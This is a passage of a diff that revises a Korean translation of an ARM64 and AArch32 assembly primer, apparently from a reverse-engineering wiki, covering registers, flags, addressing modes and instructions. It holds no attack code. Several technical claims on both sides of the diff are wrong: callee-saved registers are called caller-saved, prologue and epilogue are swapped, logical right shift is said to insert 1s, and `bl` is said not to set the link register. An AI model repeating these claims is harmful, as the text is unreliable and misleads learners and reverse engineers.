포인터 또는 리눅스 커널의 현재 **실행 중인 작업 구조**를 가리킵니다. +5. **`x18`** - **플랫폼 레지스터**. 일반 목적 레지스터로 사용될 수 있지만, 일부 플랫폼에서는 이 레지스터가 플랫폼 특정 용도로 예약되어 있습니다: Windows의 현재 스레드 환경 블록에 대한 포인터 또는 리눅스 커널의 현재 **실행 중인 작업 구조**를 가리킵니다. 6. **`x19`**에서 **`x28`** - 이들은 호출자 저장 레지스터입니다. 함수는 호출자를 위해 이러한 레지스터의 값을 보존해야 하므로, 스택에 저장되고 호출자에게 돌아가기 전에 복구됩니다. 7. **`x29`** - 스택 프레임을 추적하기 위한 **프레임 포인터**입니다. 함수가 호출되어 새로운 스택 프레임이 생성되면, **`x29`** 레지스터는 **스택에 저장**되고 **새로운** 프레임 포인터 주소(**`sp`** 주소)가 **이 레지스터에 저장**됩니다. -- 이 레지스터는 일반적으로 **지역 변수**에 대한 참조로 사용되지만, **일반 목적 레지스터**로도 사용할 수 있습니다. +- 이 레지스터는 일반 목적 레지스터로도 사용될 수 있지만, 일반적으로 **지역 변수**에 대한 참조로 사용됩니다. 8. **`x30`** 또는 **`lr`** - **링크 레지스터**. `BL`(링크가 있는 분기) 또는 `BLR`(레지스터로 링크가 있는 분기) 명령어가 실행될 때 **반환 주소**를 보유하며, **`pc`** 값을 이 레지스터에 저장합니다. -- 다른 레지스터처럼 사용할 수도 있습니다. -- 현재 함수가 새로운 함수를 호출하고 따라서 `lr`을 덮어쓸 경우, 시작 시 스택에 저장합니다. 이것이 에필로그입니다(`stp x29, x30 , [sp, #-48]; mov x29, sp` -> `fp`와 `lr` 저장, 공간 생성 및 새로운 `fp` 가져오기) 및 끝에서 복구합니다. 이것이 프로롤로그입니다(`ldp x29, x30, [sp], #48; ret` -> `fp`와 `lr` 복구 및 반환). +- 다른 레지스터처럼 사용될 수도 있습니다. +- 현재 함수가 새로운 함수를 호출하고 따라서 `lr`을 덮어쓸 경우, 시작 시 스택에 저장합니다. 이것이 에필로그입니다 (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> `fp`와 `lr` 저장, 공간 생성 및 새로운 `fp` 가져오기) 및 끝에서 복구합니다. 이것이 프로롤로그입니다 (`ldp x29, x30, [sp], #48; ret` -> `fp`와 `lr` 복구 및 반환). 9. **`sp`** - **스택 포인터**, 스택의 맨 위를 추적하는 데 사용됩니다. - **`sp`** 값은 항상 최소한 **쿼드워드** **정렬**을 유지해야 하며, 그렇지 않으면 정렬 예외가 발생할 수 있습니다. -10. **`pc`** - **프로그램 카운터**, 다음 명령어를 가리킵니다. 이 레지스터는 예외 생성, 예외 반환 및 분기를 통해서만 업데이트할 수 있습니다. 이 레지스터를 읽을 수 있는 유일한 일반 명령어는 링크가 있는 분기 명령어(BL, BLR)로, **`pc`** 주소를 **`lr`**(링크 레지스터)에 저장합니다. -11. **`xzr`** - **제로 레지스터**. 32비트 레지스터 형태에서는 **`wzr`**라고도 불립니다. 제로 값을 쉽게 얻거나(일반적인 작업) **`subs`**를 사용하여 비교를 수행하는 데 사용할 수 있습니다. 예: **`subs XZR, Xn, #10`** 결과 데이터를 어디에도 저장하지 않습니다( **`xzr`**에 저장). +10. **`pc`** - **프로그램 카운터**, 다음 명령어를 가리킵니다. 이 레지스터는 예외 생성, 예외 반환 및 분기를 통해서만 업데이트될 수 있습니다. 이 레지스터를 읽을 수 있는 유일한 일반 명령어는 링크가 있는 분기 명령어(BL, BLR)로, **`pc`** 주소를 **`lr`**(링크 레지스터)에 저장합니다. +11. **`xzr`** - **제로 레지스터**. 32비트 레지스터 형태에서는 **`wzr`**라고도 불립니다. 제로 값을 쉽게 얻거나(일반적인 작업) **`subs`**를 사용하여 비교를 수행하는 데 사용할 수 있습니다. 예: **`subs XZR, Xn, #10`** 결과 데이터를 아무데도 저장하지 않습니다( **`xzr`**에 저장). **`Wn`** 레지스터는 **`Xn`** 레지스터의 **32비트** 버전입니다. @@ -55,7 +55,7 @@ ARM64에는 `x0`에서 `x30`까지 레이블이 붙은 **31개의 일반 목적 이들은 전용 특별 명령어 **`mrs`** 및 **`msr`**를 사용하여 읽거나 설정할 수 있습니다. 특별 레지스터 **`TPIDR_EL0`** 및 **`TPIDDR_EL0`**는 리버스 엔지니어링 시 일반적으로 발견됩니다. `EL0` 접미사는 레지스터에 접근할 수 있는 **최소 예외**를 나타냅니다(이 경우 EL0는 일반 프로그램이 실행되는 일반 예외(권한) 수준입니다).\ -이들은 종종 메모리의 **스레드 로컬 저장소** 영역의 **기본 주소**를 저장하는 데 사용됩니다. 일반적으로 첫 번째는 EL0에서 실행되는 프로그램에 대해 읽기 및 쓰기가 가능하지만, 두 번째는 EL0에서 읽을 수 있고 EL1에서 쓸 수 있습니다(커널처럼). +이들은 종종 메모리의 **스레드 로컬 저장소** 영역의 **기본 주소**를 저장하는 데 사용됩니다. 일반적으로 첫 번째 레지스터는 EL0에서 실행되는 프로그램에 대해 읽기 및 쓰기가 가능하지만, 두 번째 레지스터는 EL0에서 읽을 수 있고 EL1에서 쓸 수 있습니다(커널처럼). - `mrs x0, TPIDR_EL0 ; TPIDR_EL0를 x0에 읽기` - `msr TPIDR_EL0, X0 ; x0를 TPIDR_EL0에 쓰기` @@ -69,13 +69,13 @@ ARM64에는 `x0`에서 `x30`까지 레이블이 붙은 **31개의 일반 목적 - **`N`**, **`Z`**, **`C`** 및 **`V`** 조건 플래그: - **`N`**은 연산이 음수 결과를 산출했음을 의미합니다. -- **`Z`**는 연산이 제로 결과를 산출했음을 의미합니다. +- **`Z`**는 연산이 0을 산출했음을 의미합니다. - **`C`**는 연산이 캐리되었음을 의미합니다. - **`V`**는 연산이 부호 오버플로우를 산출했음을 의미합니다: - 두 개의 양수의 합이 음수 결과를 산출합니다. - 두 개의 음수의 합이 양수 결과를 산출합니다. -- 뺄셈에서 큰 음수를 작은 양수에서 빼거나(또는 그 반대의 경우), 결과가 주어진 비트 크기 범위 내에서 표현될 수 없는 경우입니다. -- 명백히 프로세서는 연산이 부호가 있는지 없는지를 알 수 없으므로, 연산에서 C와 V를 확인하고 부호가 있는 경우 또는 없는 경우 캐리가 발생했음을 나타냅니다. +- 뺄셈에서 큰 음수를 작은 양수에서 빼거나(또는 그 반대의 경우) 결과가 주어진 비트 크기 범위 내에서 표현될 수 없는 경우. +- 명백히 프로세서는 연산이 부호가 있는지 없는지를 알 수 없으므로, 연산에서 C와 V를 확인하고 부호가 있는지 없는지에 따라 캐리가 발생했음을 나타냅니다. > [!WARNING] > 모든 명령어가 이러한 플래그를 업데이트하는 것은 아닙니다. **`CMP`** 또는 **`TST`**와 같은 일부는 업데이트하며, **`ADDS`**와 같은 s 접미사가 있는 다른 명령어도 업데이트합니다. @@ -109,8 +109,8 @@ ARM64 명령어는 일반적으로 **형식 `opcode dst, src1, src2`**를 가지 - **오프셋 모드**: 원래 포인터에 영향을 미치는 오프셋이 표시됩니다. 예를 들어: - `ldr x2, [x1, #8]`, 이는 `x1 + 8`에서 값을 x2로 로드합니다. - `ldr x2, [x0, x1, lsl #2]`, 이는 x0의 배열에서 x1(인덱스) 위치 \* 4에서 객체를 x2로 로드합니다. -- **사전 인덱스 모드**: 원본에 계산을 적용하고 결과를 얻은 후 원본에 새로운 원본을 저장합니다. -- `ldr x2, [x1, #8]!`, 이는 `x1 + 8`을 x2로 로드하고 x1에 `x1 + 8`의 결과를 저장합니다. +- **사전 인덱스 모드**: 원래에 계산을 적용하고 결과를 얻은 후 새로운 원래를 원래에 저장합니다. +- `ldr x2, [x1, #8]!`, 이는 `x1 + 8`을 `x2`로 로드하고 `x1`에 `x1 + 8`의 결과를 저장합니다. - `str lr, [sp, #-4]!`, 링크 레지스터를 sp에 저장하고 레지스터 sp를 업데이트합니다. - **후 인덱스 모드**: 이전과 비슷하지만 메모리 주소에 접근한 후 오프셋이 계산되고 저장됩니다. - `ldr x0, [x1], #8`, `x1`을 `x0`로 로드하고 `x1`을 `x1 + 8`로 업데이트합니다. @@ -119,23 +119,23 @@ ARM64 명령어는 일반적으로 **형식 `opcode dst, src1, src2`**를 가지 - **`str`**: **레지스터**에서 **메모리**로 값을 **저장**합니다. - 예: `str x0, [x1]` — 이 명령은 `x0`의 값을 `x1`이 가리키는 메모리 위치에 저장합니다. - **`ldp`**: **레지스터 쌍 로드**. 이 명령은 **연속 메모리** 위치에서 두 레지스터를 **로드**합니다. 메모리 주소는 일반적으로 다른 레지스터의 값에 오프셋을 추가하여 형성됩니다. -- 예: `ldp x0, x1, [x2]` — 이 명령은 `x2` 및 `x2 + 8`의 메모리 위치에서 `x0` 및 `x1`을 로드합니다. +- 예: `ldp x0, x1, [x2]` — 이 명령은 `x2` 및 `x2 + 8`의 메모리 위치에서 각각 `x0` 및 `x1`을 로드합니다. - **`stp`**: **레지스터 쌍 저장**. 이 명령은 **연속 메모리** 위치에 두 레지스터를 **저장**합니다. 메모리 주소는 일반적으로 다른 레지스터의 값에 오프셋을 추가하여 형성됩니다. -- 예: `stp x0, x1, [sp]` — 이 명령은 `sp` 및 `sp + 8`의 메모리 위치에 `x0` 및 `x1`을 저장합니다. -- `stp x0, x1, [sp, #16]!` — 이 명령은 `sp+16` 및 `sp + 24`의 메모리 위치에 `x0` 및 `x1`을 저장하고 `sp`를 `sp+16`으로 업데이트합니다. +- 예: `stp x0, x1, [sp]` — 이 명령은 `sp` 및 `sp + 8`의 메모리 위치에 각각 `x0` 및 `x1`을 저장합니다. +- `stp x0, x1, [sp, #16]!` — 이 명령은 `sp+16` 및 `sp + 24`의 메모리 위치에 각각 `x0` 및 `x1`을 저장하고 `sp`를 `sp+16`으로 업데이트합니다. - **`add`**: 두 레지스터의 값을 더하고 결과를 레지스터에 저장합니다. - 구문: add(s) Xn1, Xn2, Xn3 | #imm, \[shift #N | RRX] - Xn1 -> 목적지 - Xn2 -> 피연산자 1 -- Xn3 | #imm -> 피연산자 2(레지스터 또는 즉각적인 값) +- Xn3 | #imm -> 피연산자 2 (레지스터 또는 즉각적인 값) - \[shift #N | RRX] -> 시프트를 수행하거나 RRX를 호출합니다. - 예: `add x0, x1, x2` — 이 명령은 `x1`과 `x2`의 값을 더하고 결과를 `x0`에 저장합니다. - `add x5, x5, #1, lsl #12` — 이는 4096과 같습니다(1을 12번 시프트) -> 1 0000 0000 0000 0000 -- **`adds`**: 이는 `add`를 수행하고 플래그를 업데이트합니다. +- **`adds`**: `add`를 수행하고 플래그를 업데이트합니다. - **`sub`**: 두 레지스터의 값을 빼고 결과를 레지스터에 저장합니다. - **`add`** **구문**을 확인하십시오. - 예: `sub x0, x1, x2` — 이 명령은 `x2`의 값을 `x1`에서 빼고 결과를 `x0`에 저장합니다. -- **`subs`**: 이는 sub와 같지만 플래그를 업데이트합니다. +- **`subs`**: 이는 빼기와 같지만 플래그를 업데이트합니다. - **`mul`**: 두 레지스터의 값을 곱하고 결과를 레지스터에 저장합니다. - 예: `mul x0, x1, x2` — 이 명령은 `x1`과 `x2`의 값을 곱하고 결과를 `x0`에 저장합니다. - **`div`**: 한 레지스터의 값을 다른 레지스터로 나누고 결과를 레지스터에 저장합니다. @@ -143,60 +143,60 @@ ARM64 명령어는 일반적으로 **형식 `opcode dst, src1, src2`**를 가지 - **`lsl`**, **`lsr`**, **`asr`**, **`ror`, `rrx`**: - **논리적 왼쪽 시프트**: 끝에서 0을 추가하여 다른 비트를 앞으로 이동시킵니다(2배 곱하기). - **논리적 오른쪽 시프트**: 시작에서 1을 추가하여 다른 비트를 뒤로 이동시킵니다(부호 없는 경우 2배 나누기). -- **산술적 오른쪽 시프트**: **`lsr`**와 같지만, 가장 중요한 비트가 1인 경우 0 대신 1을 추가합니다(부호 있는 경우 n배 나누기). -- **오른쪽 회전**: **`lsr`**와 같지만 오른쪽에서 제거된 것은 왼쪽에 추가됩니다. -- **확장된 오른쪽 회전**: **`ror`**와 같지만 캐리 플래그가 "가장 중요한 비트"로 사용됩니다. 따라서 캐리 플래그는 비트 31로 이동하고 제거된 비트는 캐리 플래그로 이동합니다. -- **`bfm`**: **비트 필드 이동**, 이러한 작업은 **값에서 `0...n` 비트를 복사하여** **`m..m+n`** 위치에 배치합니다. **`#s`**는 **가장 왼쪽 비트** 위치를 지정하고 **`#r`**은 **오른쪽 회전 양**을 지정합니다. +- **산술적 오른쪽 시프트**: **`lsr`**과 같지만 가장 중요한 비트가 1인 경우 0 대신 1을 추가합니다(부호 있는 경우 n배 나누기). +- **오른쪽 회전**: **`lsr`**과 같지만 오른쪽에서 제거된 것은 왼쪽에 추가됩니다. +- **확장과 함께 오른쪽 회전**: **`ror`**과 같지만 캐리 플래그가 "가장 중요한 비트"로 사용됩니다. 따라서 캐리 플래그는 비트 31로 이동하고 제거된 비트는 캐리 플래그로 이동합니다. +- **`bfm`**: **비트 필드 이동**, 이 작업은 **값에서 `0...n` 비트를 복사하여** **`m..m+n`** 위치에 배치합니다. **`#s`**는 **가장 왼쪽 비트** 위치를 지정하고 **`#r`**은 **오른쪽 회전 양**을 지정합니다. - 비트 필드 이동: `BFM Xd, Xn, #r` - 부호 있는 비트 필드 이동: `SBFM Xd, Xn, #r, #s` - 부호 없는 비트 필드 이동: `UBFM Xd, Xn, #r, #s` - **비트 필드 추출 및 삽입:** 레지스터에서 비트 필드를 복사하여 다른 레지스터에 복사합니다. - **`BFI X1, X2, #3, #4`**: X1의 3번째 비트에서 X2의 4비트를 삽입합니다. - **`BFXIL X1, X2, #3, #4`**: X2의 3번째 비트에서 4비트를 추출하여 X1에 복사합니다. -- **`SBFIZ X1, X2, #3, #4`**: X2에서 4비트를 부호 확장하여 X1에 비트 위치 3에서 삽입하고 오른쪽 비트를 0으로 설정합니다. +- **`SBFIZ X1, X2, #3, #4`**: X2에서 4비트를 부호 확장하여 X1에 삽입하고 오른쪽 비트를 0으로 설정합니다. - **`SBFX X1, X2, #3, #4`**: X2의 3번째 비트에서 4비트를 추출하고 부호 확장하여 결과를 X1에 배치합니다. -- **`UBFIZ X1, X2, #3, #4`**: X2에서 4비트를 0으로 확장하여 X1에 비트 위치 3에서 삽입하고 오른쪽 비트를 0으로 설정합니다. +- **`UBFIZ X1, X2, #3, #4`**: X2에서 4비트를 0으로 확장하여 X1에 삽입하고 오른쪽 비트를 0으로 설정합니다. - **`UBFX X1, X2, #3, #4`**: X2의 3번째 비트에서 4비트를 추출하고 0으로 확장된 결과를 X1에 배치합니다. -- **부호 확장 X로:** 값을 부호 확장(또는 부호 없는 버전에서는 0을 추가)하여 연산을 수행할 수 있도록 합니다: -- **`SXTB X1, W2`**: W2에서 X1로 바이트의 부호를 확장하여 64비트를 채웁니다(`W2`는 `X2`의 절반입니다). -- **`SXTH X1, W2`**: W2에서 X1로 16비트 숫자의 부호를 확장하여 64비트를 채웁니다. -- **`SXTW X1, W2`**: W2에서 X1로 바이트의 부호를 확장하여 64비트를 채웁니다. -- **`UXTB X1, W2`**: W2에서 X1로 0을 추가하여 64비트를 채웁니다(부호 없는). +- **X로 부호 확장**: 값을 사용하여 연산을 수행할 수 있도록 부호를 확장합니다(또는 부호 없는 버전에서는 0을 추가합니다): +- **`SXTB X1, W2`**: W2에서 X1으로 바이트의 부호를 확장하여 64비트를 채웁니다(`W2`는 `X2`의 절반입니다). +- **`SXTH X1, W2`**: W2에서 X1으로 16비트 숫자의 부호를 확장하여 64비트를 채웁니다. +- **`SXTW X1, W2`**: W2에서 X1으로 바이트의 부호를 확장하여 64비트를 채웁니다. +- **`UXTB X1, W2`**: W2에서 X1으로 0을 추가하여 64비트를 채웁니다(부호 없는). - **`extr`:** 지정된 **레지스터 쌍에서 비트를 추출**합니다. -- 예: `EXTR W3, W2, W1, #3` — 이는 **W1+W2를 연결**하고 **W2의 비트 3부터 W1의 비트 3까지** 가져와 W3에 저장합니다. +- 예: `EXTR W3, W2, W1, #3` — 이는 **W1+W2를 연결**하고 **W2의 비트 3에서 W1의 비트 3까지** 가져와 W3에 저장합니다. - **`cmp`**: 두 레지스터를 **비교**하고 조건 플래그를 설정합니다. 이는 **`subs`**의 **별칭**으로, 목적지 레지스터를 제로 레지스터로 설정합니다. `m == n`인지 확인하는 데 유용합니다. - **`subs`**와 동일한 구문을 지원합니다. - 예: `cmp x0, x1` — 이 명령은 `x0`와 `x1`의 값을 비교하고 조건 플래그를 적절히 설정합니다. - **`cmn`**: **부정 피연산자**를 비교합니다. 이 경우 **`adds`**의 **별칭**이며 동일한 구문을 지원합니다. `m == -n`인지 확인하는 데 유용합니다. -- **`ccmp`**: 조건부 비교로, 이전 비교가 참인 경우에만 수행되는 비교이며 nzcv 비트를 특별히 설정합니다. +- **`ccmp`**: 조건부 비교로, 이전 비교가 참인 경우에만 수행되며 nzcv 비트를 설정합니다. - `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> x1 != x2이고 x3 < x4인 경우 func로 점프합니다. -- 이는 **`ccmp`**가 **이전 `cmp`가 `NE`인 경우에만 실행되기 때문입니다**. 그렇지 않으면 비트 `nzcv`는 0으로 설정됩니다(이는 `blt` 비교를 만족하지 않습니다). +- 이는 **`ccmp`**가 **이전 `cmp`가 `NE`인 경우에만 실행되기 때문**입니다. 그렇지 않으면 비트 `nzcv`는 0으로 설정되어 `blt` 비교를 만족하지 않습니다. - 이는 `ccmn`으로도 사용될 수 있습니다(부정적인 경우, `cmp`와 `cmn`처럼). -- **`tst`**: 비교의 값 중 하나라도 1인지 확인합니다(결과를 어디에도 저장하지 않는 ANDS처럼 작동합니다). 레지스터의 값을 확인하고 해당 값의 비트 중 하나가 1인지 확인하는 데 유용합니다. +- **`tst`**: 비교의 값 중 하나라도 1인지 확인합니다(결과를 저장하지 않고 ANDS처럼 작동합니다). 레지스터와 값을 비교하고 레지스터에 지정된 비트 중 하나라도 1인지 확인하는 데 유용합니다. - 예: `tst X1, #7` — X1의 마지막 3비트 중 하나라도 1인지 확인합니다. - **`teq`**: 결과를 버리는 XOR 연산입니다. - **`b`**: 무조건 분기합니다. - 예: `b myFunction` - 이 명령은 링크 레지스터에 반환 주소를 채우지 않으므로(반환이 필요한 서브루틴 호출에 적합하지 않음) 주의해야 합니다. -- **`bl`**: **링크가 있는 분기**, **서브루틴을 호출**하는 데 사용됩니다. **반환 주소를 `x30`에 저장**합니다. +- **`bl`**: **링크가 있는 분기**, **서브루틴을 호출**하는 데 사용됩니다. **`x30`**에 **반환 주소를 저장**합니다. - 예: `bl myFunction` — 이 명령은 `myFunction`을 호출하고 반환 주소를 `x30`에 저장합니다. - 이 명령은 링크 레지스터에 반환 주소를 채우지 않으므로(반환이 필요한 서브루틴 호출에 적합하지 않음) 주의해야 합니다. -- **`blr`**: **레지스터로 링크가 있는 분기**, **서브루틴을 호출**하는 데 사용되며, 대상이 **레지스터에 지정**됩니다. 반환 주소는 `x30`에 저장됩니다. +- **`blr`**: **레지스터로 링크가 있는 분기**, **레지스터**에 지정된 **대상**을 **서브루틴을 호출**하는 데 사용됩니다. 반환 주소는 `x30`에 저장됩니다. - 예: `blr x1` — 이 명령은 `x1`에 포함된 주소의 함수를 호출하고 반환 주소를 `x30`에 저장합니다. - **`ret`**: **서브루틴에서 반환**하며, 일반적으로 **`x30`**의 주소를 사용합니다. - 예: `ret` — 이 명령은 현재 서브루틴에서 반환하며 `x30`의 반환 주소를 사용합니다. - **`b.`**: 조건부 분기입니다. -- **`b.eq`**: **같으면 분기**, 이전 `cmp` 명령어를 기반으로 합니다. -- 예: `b.eq label` — 이전 `cmp` 명령어가 두 값을 같다고 찾으면, 이 명령은 `label`로 점프합니다. -- **`b.ne`**: **같지 않으면 분기**. 이 명령은 조건 플래그를 확인하며(이전 비교 명령어에 의해 설정됨), 비교된 값이 같지 않으면 레이블이나 주소로 분기합니다. +- **`b.eq`**: **같으면 분기**하며, 이전 `cmp` 명령어를 기반으로 합니다. +- 예: `b.eq label` — 이전 `cmp` 명령어가 두 값을 같다고 찾으면 이 명령은 `label`로 점프합니다. +- **`b.ne`**: **같지 않으면 분기**합니다. 이 명령은 조건 플래그를 확인하며(이전 비교 명령어에 의해 설정됨), 비교된 값이 같지 않으면 레이블이나 주소로 분기합니다. - 예: `cmp x0, x1` 명령어 후, `b.ne label` — `x0`와 `x1`의 값이 같지 않으면 이 명령은 `label`로 점프합니다. -- **`cbz`**: **제로와 비교하고 분기**. 이 명령은 레지스터를 제로와 비교하며, 같으면 레이블이나 주소로 분기합니다. -- 예: `cbz x0, label` — `x0`의 값이 제로이면 이 명령은 `label`로 점프합니다. -- **`cbnz`**: **비제로와 비교하고 분기**. 이 명령은 레지스터를 제로와 비교하며, 같지 않으면 레이블이나 주소로 분기합니다. +- **`cbz`**: **제로에서 비교하고 분기**합니다. 이 명령은 레지스터를 0과 비교하며, 같으면 레이블이나 주소로 분기합니다. +- 예: `cbz x0, label` — `x0`의 값이 0이면 이 명령은 `label`로 점프합니다. +- **`cbnz`**: **비제로에서 비교하고 분기**합니다. 이 명령은 레지스터를 0과 비교하며, 같지 않으면 레이블이나 주소로 분기합니다. - 예: `cbnz x0, label` — `x0`의 값이 비제로이면 이 명령은 `label`로 점프합니다. -- **`tbnz`**: 비트를 테스트하고 비제로일 때 분기합니다. +- **`tbnz`**: 비트를 테스트하고 비제로에서 분기합니다. - 예: `tbnz x0, #8, label` -- **`tbz`**: 비트를 테스트하고 제로일 때 분기합니다. +- **`tbz`**: 비트를 테스트하고 제로에서 분기합니다. - 예: `tbz x0, #8, label` - **조건부 선택 작업**: 이러한 작업은 조건 비트에 따라 동작이 달라집니다. - `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> 참이면 X0 = X1, 거짓이면 X0 = X2 @@ -208,9 +208,9 @@ ARM64 명령어는 일반적으로 **형식 `opcode dst, src1, src2`**를 가지 - `cneg Xd, Xn, cond` -> 참이면 Xd = - Xn, 거짓이면 Xd = Xn - `cset Xd, Xn, Xm, cond` -> 참이면 Xd = 1, 거짓이면 Xd = 0 - `csetm Xd, Xn, Xm, cond` -> 참이면 Xd = \<모두 1>, 거짓이면 Xd = 0 -- **`adrp`**: **기호의 페이지 주소를 계산**하고 레지스터에 저장합니다. +- **`adrp`**: 기호의 **페이지 주소를 계산**하고 레지스터에 저장합니다. - 예: `adrp x0, symbol` — 이 명령은 `symbol`의 페이지 주소를 계산하고 `x0`에 저장합니다. -- **`ldrsw`**: **메모리에서 부호 있는 32비트** 값을 **로드하고 64비트로 부호 확장**합니다. +- **`ldrsw`**: 메모리에서 **부호 있는 32비트** 값을 **로드**하고 **64비트로 부호 확장**합니다. - 예: `ldrsw x0, [x1]` — 이 명령은 `x1`이 가리키는 메모리 위치에서 부호 있는 32비트 값을 로드하고, 이를 64비트로 부호 확장하여 `x0`에 저장합니다. - **`stur`**: **레지스터 값을 메모리 위치에 저장**하며, 다른 레지스터에서 오프셋을 사용합니다. - 예: `stur x0, [x1, #4]` — 이 명령은 `x0`의 값을 `x1`의 주소보다 4바이트 더 큰 메모리 주소에 저장합니다. @@ -246,7 +246,7 @@ ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment th Armv8-A는 32비트 프로그램의 실행을 지원합니다. **AArch32**는 **두 가지 명령어 집합** 중 하나인 **`A32`**와 **`T32`**에서 실행될 수 있으며, **`interworking`**을 통해 이들 간에 전환할 수 있습니다.\ **특권** 64비트 프로그램은 낮은 특권 32비트로의 예외 수준 전환을 실행하여 **32비트** 프로그램의 **실행을 예약**할 수 있습니다.\ -64비트에서 32비트로의 전환은 예외 수준의 하강과 함께 발생합니다(예: EL1의 64비트 프로그램이 EL0의 프로그램을 트리거하는 경우). 이는 `AArch32` 프로세스 스레드가 실행 준비가 되었을 때 **`SPSR_ELx`** 특수 레지스터의 **비트 4를 1로 설정**하여 수행되며, 나머지 `SPSR_ELx`는 **`AArch32`** 프로그램의 CPSR을 저장합니다. 그런 다음, 특권 프로세스는 **`ERET`** 명령어를 호출하여 프로세서가 CPSR에 따라 A32 또는 T32로 **`AArch32`**로 전환되도록 합니다. +64비트에서 32비트로의 전환은 예외 수준의 하강과 함께 발생합니다(예: EL1의 64비트 프로그램이 EL0의 프로그램을 트리거하는 경우). 이는 `AArch32` 프로세스 스레드가 실행 준비가 되었을 때 **`SPSR_ELx`** 특수 레지스터의 **비트 4를 1로 설정**하여 수행되며, `SPSR_ELx`의 나머지는 **`AArch32`** 프로그램의 CPSR을 저장합니다. 그런 다음, 특권 프로세스는 **`ERET`** 명령어를 호출하여 프로세서가 **`AArch32`**로 전환되도록 하여 CPSR에 따라 A32 또는 T32로 진입합니다.\*\* **`interworking`**은 CPSR의 J 및 T 비트를 사용하여 발생합니다. `J=0` 및 `T=0`은 **`A32`**를 의미하고, `J=0` 및 `T=1`은 **T32**를 의미합니다. 이는 기본적으로 **최하위 비트를 1로 설정**하여 명령어 집합이 T32임을 나타내는 것입니다.\ 이는 **interworking 분기 명령어** 중에 설정되지만, PC가 목적 레지스터로 설정될 때 다른 명령어로도 직접 설정할 수 있습니다. 예: @@ -273,7 +273,7 @@ mov r0, #8 - **`r14`**: 링크 레지스터 또한, 레지스터는 **`뱅크 레지스터`**에 백업됩니다. 이는 레지스터 값을 저장하여 예외 처리 및 특권 작업에서 **빠른 컨텍스트 전환**을 수행할 수 있게 해줍니다. 매번 레지스터를 수동으로 저장하고 복원할 필요가 없습니다.\ -이는 **예외가 발생한 프로세서 모드의 `CPSR`에서 `SPSR`로 프로세서 상태를 저장함으로써** 이루어집니다. 예외가 반환될 때, **`CPSR`**는 **`SPSR`**에서 복원됩니다. +이는 **예외가 발생한 프로세서 모드의 `CPSR`에서 `SPSR`로 프로세서 상태를 저장**함으로써 이루어집니다. 예외가 반환될 때, **`CPSR`**는 **`SPSR`**에서 복원됩니다. ### CPSR - 현재 프로그램 상태 레지스터 @@ -281,18 +281,18 @@ AArch32에서 CPSR은 AArch64의 **`PSTATE`**와 유사하게 작동하며, 예
-필드는 몇 개의 그룹으로 나뉩니다: +필드는 몇 가지 그룹으로 나뉩니다: -- 응용 프로그램 상태 레지스터(APSR): 산술 플래그 및 EL0에서 접근 가능 +- 응용 프로그램 프로그램 상태 레지스터(APSR): 산술 플래그 및 EL0에서 접근 가능 - 실행 상태 레지스터: 프로세스 동작(운영 체제에 의해 관리됨). -#### 응용 프로그램 상태 레지스터(APSR) +#### 응용 프로그램 프로그램 상태 레지스터(APSR) - **`N`**, **`Z`**, **`C`**, **`V`** 플래그( AArch64와 동일) -- **`Q`** 플래그: 특수한 포화 산술 명령어 실행 중 **정수 포화가 발생할 때** 1로 설정됩니다. **`1`**로 설정되면 수동으로 0으로 설정될 때까지 값을 유지합니다. 또한, 이 값의 상태를 암묵적으로 확인하는 명령어는 없으며, 수동으로 읽어야 합니다. +- **`Q`** 플래그: 특수한 포화 산술 명령어 실행 중 **정수 포화가 발생**할 때 1로 설정됩니다. **`1`**로 설정되면 수동으로 0으로 설정될 때까지 값을 유지합니다. 또한, 그 값이 암묵적으로 확인되는 명령어는 없으며, 수동으로 읽어야 합니다. - **`GE`** (크거나 같음) 플래그: SIMD(단일 명령어, 다중 데이터) 작업에서 사용되며, "병렬 덧셈" 및 "병렬 뺄셈"과 같은 작업을 포함합니다. 이러한 작업은 단일 명령어로 여러 데이터 포인트를 처리할 수 있게 해줍니다. -예를 들어, **`UADD8`** 명령어는 **네 쌍의 바이트**(두 개의 32비트 피연산자에서)를 병렬로 더하고 결과를 32비트 레지스터에 저장합니다. 그런 다음 **`APSR`**에서 이러한 결과를 기반으로 **`GE` 플래그를 설정합니다**. 각 GE 플래그는 바이트 쌍의 덧셈이 **오버플로우**되었는지를 나타냅니다. +예를 들어, **`UADD8`** 명령어는 **네 쌍의 바이트**(두 개의 32비트 피연산자에서)를 병렬로 더하고 결과를 32비트 레지스터에 저장합니다. 그런 다음 이러한 결과를 기반으로 **`APSR`**에서 `GE` 플래그를 설정합니다. 각 GE 플래그는 바이트 쌍의 덧셈이 **오버플로우**되었는지를 나타냅니다. **`SEL`** 명령어는 이러한 GE 플래그를 사용하여 조건부 작업을 수행합니다. @@ -301,7 +301,7 @@ AArch32에서 CPSR은 AArch64의 **`PSTATE`**와 유사하게 작동하며, 예 - **`J`** 및 **`T`** 비트: **`J`**는 0이어야 하며, **`T`**가 0이면 A32 명령어 세트가 사용되고, 1이면 T32가 사용됩니다. - **IT 블록 상태 레지스터**(`ITSTATE`): 10-15 및 25-26의 비트입니다. 이들은 **`IT`** 접두사가 붙은 그룹 내의 명령어 조건을 저장합니다. - **`E`** 비트: **엔디안**을 나타냅니다. -- **모드 및 예외 마스크 비트**(0-4): 현재 실행 상태를 결정합니다. **5번째** 비트는 프로그램이 32비트(1)로 실행되는지 또는 64비트(0)로 실행되는지를 나타냅니다. 나머지 4개는 **현재 사용 중인 예외 모드**를 나타냅니다(예외가 발생하고 처리 중일 때). 설정된 숫자는 **현재 우선 순위**를 나타냅니다. +- **모드 및 예외 마스크 비트**(0-4): 현재 실행 상태를 결정합니다. **5번째** 비트는 프로그램이 32비트(1) 또는 64비트(0)로 실행되는지를 나타냅니다. 나머지 4개는 **현재 사용 중인 예외 모드**를 나타냅니다(예외가 발생하고 처리 중일 때). 설정된 숫자는 **현재 우선 순위**를 나타냅니다.
